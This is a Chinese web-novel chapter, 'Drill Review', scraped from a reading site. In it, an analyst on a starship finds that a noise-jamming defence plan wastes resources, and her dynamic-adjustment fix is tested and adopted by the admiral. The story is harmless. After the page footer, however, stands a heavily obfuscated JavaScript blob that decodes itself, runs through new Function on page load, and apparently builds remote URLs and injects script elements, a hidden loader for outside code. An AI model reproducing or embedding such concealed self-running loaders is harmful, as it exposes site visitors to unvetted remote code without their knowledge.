首页
[切换至繁体版]
返回

第86章 演练复盘

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第86章演练复盘(第1/2页)
    安全演练结束后的数据包,在林沫沫的A7分析室光屏上摊开。
    她没去休息。
    光屏左边是演练全程的监控日志,右边是她自己写的那个“随机噪声干扰”备用方案“阿尔法”的源代码。
    “不对劲。”
    林沫沫手指在控制板上划拉,把两边的数据流同步对齐。
    演练里,虫族模拟攻击开始反向解析星兽信号特征,密钥生成速度咔咔往下掉。她建议启动“阿尔法”,秦岳那边一执行,随机噪声信号混进去,虫族解析立马懵圈,防御曲线又拉起来了。
    效果是立竿见影。
    但代价呢?
    林沫沫调出系统资源消耗的监控子项。
    这一看,她眉头就皱起来了。
    “阿尔法”方案跑起来那几分钟,核心防御系统的整体资源占用率,直接从平时的百分之三十五,飙到了百分之七十八。
    “好家伙,”林沫沫低声嘀咕,“这哪是加噪声,这是给系统上了个‘狂暴’buff啊。短时间扛得住,时间一长,系统自己先累趴了。”
    她快速做了个趋势推演。
    如果虫族持续进行这种高级反向解析攻击,舰队需要长时间甚至常态化开启“阿尔法”干扰。
    按现在的资源消耗曲线,最多撑四十八小时,核心系统的其他非关键进程就得开始排队等资源,整体响应速度会下降。
    “这属于杀敌一千,自损八百。”林沫沫总结。
    她没犹豫,立刻新建了一份分析报告。
    标题:“关于备用方案‘阿尔法’(随机噪声干扰)的资源消耗分析与优化建议”。
    内容很简单:
    1.问题:方案有效,但资源消耗过高(占用率提升43个百分点)。
    2.风险:无法长期或常态化运行,否则影响系统整体稳定性。
    3.建议:优化噪声生成逻辑,从‘持续全频段覆盖’改为‘动态跟随攻击强度调整频率和密度’,实现精准干扰,降低资源开销。
    4.初步推演:优化后预计可降低资源消耗百分之三十到五十。
    报告写完,加密,发送地址:旗舰指挥室,陆墨染上将,抄送秦岳副官。
    发送。
    进度条一闪。
    ---
    旗舰指挥室。
    陆墨染刚看完军部发来的另一份常规通讯,关于下周的补给船抵达时间。
    林沫沫的报告就弹出来了。
    他点开。
    快速扫过那几句核心结论,目光在“资源消耗过高”和“动态调整”上停了一下。
    “秦岳。”陆墨染开口。
    “在!”秦岳正盯着巡逻舰队回传的星图数据。
    “林沫沫的新报告,看了吗?”
    “啊?又来了?”秦岳赶紧切屏,“我看看……‘阿尔法’方案资源消耗太高?动态调整?祖宗这是刚打完演练,就给自己找活儿干啊。”
    “不是找活儿。”陆墨染说,“是发现问题。演练里我们只测试了效果,没看代价。”
    他调出刚才演练的完整数据包,找到资源监控那一项。
    果然,那条代表系统资源占用率的曲线,在“阿尔法”启动的那段,有个明显的尖峰。
    “安排战术推演会议。”陆墨染说,“就今天下午。议题:讨论林沫沫提出的‘动态噪声干扰’优化方案。参加人:你,我,林沫沫。地点:旗舰战术推演中心。”
    “明白!”秦岳立刻开始操作,在舰队内部日程系统里新建会议,“时间定……两小时后?给林沫沫点准备时间。”
    “可以。”陆墨染说,“通知她。”
    “是!”
    ---
    A7分析室。
    林沫沫刚把报告发出去不到十分钟,秦岳的通讯就来了。
    “祖宗,会议安排好了,两小时后,战术推演中心。”秦岳语速很快,“将军亲自定的。你赶紧准备一下演示材料,重点讲清楚那个‘动态调整’怎么个调法,能省多少资源。这可是要上会讨论的,别整太复杂,讲重点。”
    “明白。”林沫沫说,“材料一小时就好。”
    “得嘞,等你。”秦岳切了通讯。
    林沫沫吸了口气,开始整理光屏上的数据。
    她把资源消耗的尖峰曲线截图,把趋势推演的结果做成对比图,然后把“动态调整”的核心逻辑画成流程图——简单说,就是让噪声干扰不再是“无脑全开”,而是像有个“智能开关”:虫族解析攻击猛,干扰就强一点;攻击弱或者停了,干扰就自动减弱甚至暂停。
    “精准投放,避免浪费。”林沫沫给这个逻辑打了个标签。
    材料准备完,她又自己模拟跑了一遍。
    优化后的方案,在模拟对抗中,防御效果和之前“阿尔法”差不多,但系统资源占用率的峰值,从百分之七十八降到了百分之四十五左右。
    “省了快一半。”林沫沫看着结果,心里有点底了。
    ---
    两小时后,旗舰战术推演中心。
    林沫沫带着材料进去的时候,陆墨染和秦岳已经在了。
    房间不大,中间是个全息战术推演台,周围几把椅子。
    陆墨染坐在主位,没穿军装外套,只穿了件深色的衬衣,袖子挽到小臂。秦岳站在推演台旁边,正在调试设备。
    “将军,秦副官。”林沫沫打了招呼。
    “坐。”陆墨染抬了下手,指向旁边的椅子,“直接开始。”
    “是。”
    林沫沫坐下,把自己终端接上推演台。
    光屏在她面前亮起来,上面是她准备好的材料。
    “将军,秦副官,”林沫沫开口,没废话,“关于备用方案‘阿尔法’的资源消耗问题,我的分析结论是:现行方案采用持续全频段随机噪声干扰,虽然能有效干扰虫族反向解析,但系统资源消耗过大,无法长期维持。”
    她调出那张资源占用率尖峰图。
    “演练中,资源占用峰值达到百分之七十八。根据推演,如果持续开启超过四十八小时,系统整体性能会受影响。”
    陆墨染看着图,没说话。
    秦岳凑过来看了看:“嚯,这么高?那确实不能一直开着。”
    “所以我建议优化方案。”林沫沫切换下一张图,是那个“动态调整”的流程图,“核心思路是变‘持续全频段覆盖’为‘动态跟随攻击强度调整’。我们实时监控虫族反向解析的攻击强度,攻击强,干扰增强;攻击弱,干扰减弱甚至暂停。实现精准干扰,避免资源浪费。”
    (本章未完,请点击下一页继续阅读)第86章演练复盘(第2/2页)
    她调出模拟测试的结果对比图。
    “这是优化前后的资源消耗对比。在防御效果基本一致的前提下,优化后方案资源占用峰值预计可降至百分之四十五左右,整体消耗降低约百分之四十。”
    “百分之四十?”秦岳眼睛一亮,“这省得可不少啊!相当于给系统减了个大负。”
    陆墨染一直看着光屏,这时才开口:“动态调整的逻辑,具体怎么实现?”
    “需要修改‘阿尔法’方案的噪声生成器核心代码。”林沫沫调出代码界面,指着几行关键逻辑,“在这里增加一个攻击强度监测模块,把监测结果实时反馈给噪声控制单元。控制单元根据预设的阈值映射表,动态调整噪声信号的频率范围和发射功率。这部分算法我已经写了个雏形。”
    她把雏形代码片段展示出来。
    陆墨染看了几秒。
    “模拟测试过吗?”他问。
    “小范围模拟过,效果如刚才所示。”林沫沫说,“但需要接入舰队核心防御系统的实时环境进行更全面的测试,验证其在不同攻击模式下的稳定性和资源节省效果。”
    陆墨染点头。
    “秦岳。”他说。
    “在!”
    “启动模拟测试。”陆墨染命令,“用推演台的战术模拟环境,加载林沫沫的优化方案雏形。测试场景:模拟虫族三种不同强度的反向解析攻击模式,持续时间各一小时。监控重点:防御效果曲线,系统资源消耗曲线。”
    “明白!”秦岳立刻在推演台上操作起来。
    他调出战术模拟程序,把林沫沫提供的优化方案代码包导入,然后开始设置测试参数。
    模拟环境启动。
    光屏上分出三个区域:左边是模拟的虫族攻击数据流,中间是防御系统的响应状态,右边是实时的系统资源监控。
    第一个测试场景:低强度持续解析攻击。
    优化方案启动。
    右边的资源监控曲线,缓慢爬升,最后稳定在百分之三十二。
    “低强度下,干扰自动维持在最低档。”林沫沫解释,“资源占用很低。”
    第二个测试场景:中等强度波动攻击。
    攻击数据流开始起伏。
    资源监控曲线也跟着起伏,但幅度不大,峰值在百分之三十八。
    “干扰强度跟随攻击波动,但没有过度反应。”林沫沫说。
    第三个测试场景:高强度爆发攻击。
    攻击数据流猛地冲高。
    资源监控曲线也瞬间拉升,但冲到百分之四十六就停住了,没有像之前那样飙到接近百分之八十。
    “高强度下,干扰增强,但设置了上限,防止过载。”林沫沫指着那个峰值,“这就是优化后的效果。”
    三小时测试全部跑完。
    秦岳调出汇总报告。
    “将军,测试完成。”秦岳念着报告,“三种攻击模式下,优化方案均成功维持防御等级。系统资源平均占用率:百分之三十五点七。与原方案相比,资源消耗降低……百分之四十二点三。”
    陆墨染看着最终数据。
    “方案可行。”他说,“秦岳,命令:将林沫沫的优化方案代码,正式嵌入舰队核心防御系统的‘阿尔法’备用方案模块。替换原有逻辑。”
    “是!”秦岳立刻记录命令。
    但他操作了几下,推演台弹出一个提示。
    “将军,”秦岳转头,“系统提示,新方案嵌入后,需要重新调整舰队能源分配预案。因为干扰方案从‘高功耗常备’变成了‘动态功耗’,核心防御系统占用的能源配额可以下调一部分,这部分能源可以重新分配给其他子系统,比如增强探测阵列的扫描功率。”
    陆墨染看向林沫沫:“能源调整预案,有建议吗?”
    林沫沫没想到会问到这个,她快速想了想。
    “建议将节省下来的能源,优先分配给远程深空探测阵列和近防炮塔阵列。”她说,“深空探测增强,可以更早发现虫族异常活动;近防炮塔增强,可以提升旗舰应对突发近距离威胁的能力。具体分配比例,需要根据各子系统当前负载和优先级进一步计算。”
    陆墨染点头。
    “按她说的方向,制定详细能源调整预案。”他对秦岳说,“明天中午前我要看到草案。”
    “明白!”
    “林沫沫。”陆墨染转向她。
    “在。”
    “优化方案嵌入后,你的状态转为监控系统运行。”陆墨染说,“重点观察新方案在实际运行中的资源消耗情况,以及是否引入新的不稳定因素。每日简报。”
    “是。”
    “会议结束。”陆墨染站起身。
    秦岳开始收拾推演台。
    林沫沫也断开终端连接,准备离开。
    陆墨染走到门口,停了一下,回头看了林沫沫一眼。
    没说话,转身走了。
    秦岳凑过来,压低声音:“可以啊祖宗,又搞定一个。将军这效率,看到好方案立马就上,绝不拖沓。”
    林沫沫没接话,只是点了点头。
    她收拾好东西,离开推演中心,返回A7分析室。
    ---
    同一时间,旗舰指挥室。
    陆墨染坐在指挥椅上,调出林沫沫的个人档案。
    在最近那条“具备动态协议抗压优化能力”下面,输入新的一行:
    【星历172.8.13,于安全演练复盘分析中,主动发现备用干扰方案存在系统资源消耗过高问题,并提出“动态调整”优化方案。在战术推演会议上清晰演示方案逻辑与节省效果(资源消耗降低百分之四十二)。方案被直接采纳并嵌入核心系统。具备系统资源优化视野。】
    保存。
    关掉档案。
    他看向星图。
    下面的人能发现问题,还能拿出解决办法。
    这比单纯执行命令,更重要。
    ---
    A7分析室。
    林沫沫坐在光屏前,监控界面已经切换为核心防御系统的实时状态。
    新的“动态噪声干扰”模块显示为“待命”状态,资源占用率很低。
    她设好了监控警报
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();